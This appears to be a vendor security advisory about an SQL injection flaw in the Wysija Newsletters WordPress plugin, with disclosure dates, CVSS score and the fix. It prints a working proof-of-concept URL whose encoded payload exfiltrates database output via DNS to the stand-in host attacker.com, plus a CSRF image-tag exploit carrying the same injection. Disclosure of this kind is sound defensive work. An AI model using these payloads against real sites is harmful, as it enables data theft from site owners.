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Patch Available Upon Disclosure
|2013 Q4: 67%||2013 Q1: 100%|
|2013 Q3: 77%||2012 Q4: 68%|
|2013 Q2: 92%||2012 Q3: 69%|
Vendor Average Time to Patch
|2013 Q4: 8 days||2013 Q1: 13 days|
|2013 Q3: 13 days||2012 Q4: 26 days|
|2013 Q2: 30 days||2012 Q3: 22 days|
SQL Injection Vulnerability in Wysija Newsletters WordPress Plugin
|Product:||Wysija Newsletters WordPress plugin|
|Vulnerable Versions:||2.2 and probably prior|
|Advisory Publication:||January 16, 2013 [without technical details]|
|Vendor Notification:||January 16, 2013|
|Vendor Fix:||January 18, 2013|
|Public Disclosure:||February 6, 2013|
|Latest Update:||January 25, 2013|
|Vulnerability Type:||SQL Injection [CWE-89]|
|CVSSv2 Base Score:||5.1 (AV:N/AC:H/Au:N/C:P/I:P/A:P)|
|Solution Status:||Fixed by Vendor|
|Discovered and Provided:||High-Tech Bridge Security Research Lab|
High-Tech Bridge Security Research Lab discovered vulnerability in Wysija Newsletters WordPress plugin, which can be exploited to perform SQL Injection attacks.
The vulnerabilities exist due to insufficient filtration of user-supplied input passed via the "search" and "orderby" HTTP GET parameters to the "/wp-admin/admin.php" script. A remote authenticated administrator can execute arbitrary SQL commands in application's database.
The PoC code below is based on DNS Exfiltration technique and may be used if the database of the vulnerable application is hosted on a Windows system. The PoC will send a DNS request demanding IP addess for `version()` (or any other sensetive output from the database) subdomain of ".attacker.com" (a domain name, DNS server of which is controlled by the attacker):
http://[host]/wp-admin/admin.php?page=wysija_campaigns&orderby=(select load_file(CONCAT(CHAR(92),CHAR(92),(select version()),CHAR(46),CHAR(97),CHAR(116),CHAR(116),CHAR(97),CHAR(99),CHAR(107),CHAR(101),CHAR(114),CHA R(46),CHAR(99),CHAR(111),CHAR(109),CHAR(92),CHAR(102),CHAR(111),CHAR(111),CHAR(98),CHAR(97),CHAR(114 )))) --
This vulnerability could also be exploited by a remote non-authenticated attacker via CSRF vector, since the application is prone to cross-site request forgery attacks. In order to do so an attacker should trick the logged-in administrator into visiting a web page with CSRF exploit.
Basic CSRF exploit:
<img src="http://[host]/wp-admin/admin.php?page=wysija_campaigns&orderby=(select load_file(CONCAT(CHAR(92),CHAR(92),(select version()),CHAR(46),CHAR(97),CHAR(116),CHAR(116),CHAR(97),CHAR(99),CHAR(107),CHAR(101),CHAR(114),CHA R(46),CHAR(99),CHAR(111),CHAR(109),CHAR(92),CHAR(102),CHAR(111),CHAR(111),CHAR(98),CHAR(97),CHAR(114 )))) -- ">
|Upgrade to Wysija Newsletters 2.2.1|
| High-Tech Bridge Advisory HTB23140 - https://www.htbridge.com/advisory/HTB23140 - SQL Injection vulnerability in Wysija Newsletters WordPress plugin.|
 Wysija Newsletters - http://www.wysija.com/ - A new and simple newsletter solution for WordPress.
 Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
 Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.
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